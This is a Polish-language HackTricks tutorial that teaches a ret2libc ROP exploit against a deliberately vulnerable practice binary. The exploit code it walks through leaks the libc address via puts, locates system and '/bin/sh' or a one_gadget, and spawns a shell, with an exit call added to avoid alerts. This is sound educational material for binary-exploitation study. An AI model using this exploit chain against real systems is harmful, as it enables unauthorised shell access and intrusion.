.. | ||
README.md | ||
rop-leaking-libc-template.md |
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Szybkie podsumowanie
- Znajdź przesunięcie przepełnienia
- Znajdź gadżety
POP_RDI
,PUTS_PLT
iMAIN_PLT
- Użyj wcześniejszych gadżetów do wycieku adresu pamięci puts lub innej funkcji libc i znajdź wersję libc (pobierz ją)
- Korzystając z biblioteki, oblicz ROP i wykorzystaj go
Inne samouczki i pliki binarne do ćwiczeń
Ten samouczek będzie wykorzystywał kod/binarny zaproponowany w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kod
Nazwa pliku: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Szablon wyciekający LIBC
Będę używać kodu znajdującego się tutaj, aby przeprowadzić atak.
Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Znalezienie przesunięcia
Szablon wymaga przesunięcia przed kontynuacją ataku. Jeśli nie zostanie podane, zostanie wykonany odpowiedni kod w celu znalezienia go (domyślnie OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Wykonaj python template.py
, otworzy się konsola GDB z programem, który się zawiesił. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp
, aby uzyskać bajty, które miały nadpisać RIP. Na koniec, użyj konsoli pythona, aby uzyskać przesunięcie:
from pwn import *
cyclic_find(0x6161616b)
Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.
OFFSET = "A" * 40
Innym sposobem jest użycie: pattern create 1000
-- wykonaj do ret -- pattern search $rsp
z GEF.
2- Znajdowanie gadżetów
Teraz musimy znaleźć gadżety ROP wewnątrz pliku binarnego. Gadżety ROP będą przydatne do wywołania puts
, aby znaleźć używaną bibliotekę libc, a następnie do uruchomienia ostatecznego ataku.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
jest potrzebne do wywołania funkcji puts.
MAIN_PLT
jest potrzebne do ponownego wywołania głównej funkcji po jednym interakcji, aby wykorzystać przepełnienie ponownie (nieskończone rundy wykorzystania). Jest używane na końcu każdego ROP, aby ponownie wywołać program.
POP_RDI jest potrzebne do przekazania parametru do wywoływanej funkcji.
W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.
3- Wyszukiwanie biblioteki LIBC
Teraz nadszedł czas, aby dowiedzieć się, która wersja biblioteki libc jest używana. Aby to zrobić, będziemy wyciekać adres w pamięci funkcji puts
, a następnie będziemy szukać, w której wersji biblioteki znajduje się ta wersja puts na tym adresie.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Aby to zrobić, najważniejsza linia wykonanego kodu to:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
To wyśle kilka bajtów, aż będzie możliwe nadpisanie RIP: OFFSET
.
Następnie ustawiony zostanie adres gadżetu POP_RDI
, aby następny adres (FUNC_GOT
) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać funkcję puts, przekazując jej adres PUTS_GOT
jako adres w pamięci funkcji puts, który jest zapisany pod adresem wskazywanym przez PUTS_GOT
.
Następnie zostanie wywołane PUTS_PLT
(z PUTS_GOT
w rejestrze RDI), dzięki czemu puts odczyta zawartość wewnątrz PUTS_GOT
(adres funkcji puts w pamięci) i wypisze go.
Na koniec ponownie zostanie wywołana funkcja main, aby można było ponownie wykorzystać przepełnienie.
W ten sposób oszukaliśmy funkcję puts, aby wypisała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.
Ponieważ wykorzystujemy pewny lokalny plik binarny, nie jest konieczne ustalanie, która wersja libc jest używana (wystarczy znaleźć bibliotekę w /lib/x86_64-linux-gnu/libc.so.6
).
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak możesz to znaleźć:
3.1- Wyszukiwanie wersji libc (1)
Możesz wyszukać używaną bibliotekę na stronie internetowej: https://libc.blukat.me/
Pozwoli to również pobrać odkrytą wersję libc.
3.2- Wyszukiwanie wersji libc (2)
Możesz również wykonać:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
To zajmie trochę czasu, bądź cierpliwy.
Aby to zadziałało, potrzebujemy:
- Nazwa symbolu libc:
puts
- Wyciekły adres libc:
0x7ff629878690
Możemy dowiedzieć się, która libc jest najprawdopodobniej używana.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Mamy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwszy nie działa). Pobierz pierwszy:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
do naszego katalogu roboczego.
3.3- Inne funkcje do wycieku
puts
printf
__libc_start_main
read
gets
4- Znajdowanie adresu biblioteki libc i wykorzystywanie go
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny plik binarny, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6
Więc na początku pliku template.py
zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy
Podając ścieżkę do biblioteki libc, reszta exploita zostanie automatycznie obliczona.
Wewnątrz funkcji get_addr
zostanie obliczony bazowy adres libc:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Należy zauważyć, że końcowa podstawowa adresu libc musi kończyć się na 00. Jeśli tak nie jest, może to oznaczać wyciek nieprawidłowej biblioteki. {% endhint %}
Następnie, adres funkcji system
oraz adres ciągu znaków "/bin/sh" zostaną obliczone na podstawie adresu podstawowego biblioteki libc i danej biblioteki libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
W końcu, exploit wykonujący /bin/sh zostanie przygotowany i wysłany:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Wyjaśnijmy ten ostatni ROP.
Ostatni ROP (rop1
) kończył wywołanie funkcji main, więc możemy ponownie wykorzystać przepełnienie (dlatego tutaj jest ponownie OFFSET
). Następnie chcemy wywołać POP_RDI
, wskazując na adres "/bin/sh" (BINSH
), a następnie wywołać funkcję system (SYSTEM
), ponieważ adres "/bin/sh" zostanie przekazany jako parametr.
Na koniec wywoływana jest funkcja exit, aby proces ładnie zakończył działanie i nie generował żadnych alertów.
W ten sposób exploit uruchomi powłokę _/bin/sh_.
4(2)- Używanie ONE_GADGET
Możesz również użyć ONE_GADGET, aby uzyskać powłokę zamiast korzystać z system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego adresu ROP.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak [rsp+0x30] == NULL
. Ponieważ kontrolujesz wartości w RSP, wystarczy wysłać kilka dodatkowych wartości NULL, aby uniknąć ograniczenia.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
PLIK EXPLOITACJI
Szablon do wykorzystania tej podatności można znaleźć tutaj:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Powszechne problemy
MAIN_PLT = elf.symbols['main'] nie został znaleziony
Jeśli symbol "main" nie istnieje, możesz po prostu sprawdzić, gdzie znajduje się kod główny:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
i ustaw adres ręcznie:
MAIN_PLT = 0x401080
Puts nie znaleziony
Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa
sh: 1: %s%s%s%s%s%s%s%s: not found
Jeśli po utworzeniu wszystkich exploitów napotkasz ten błąd: sh: 1: %s%s%s%s%s%s%s%s: not found
Spróbuj odjąć 64 bajty od adresu "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.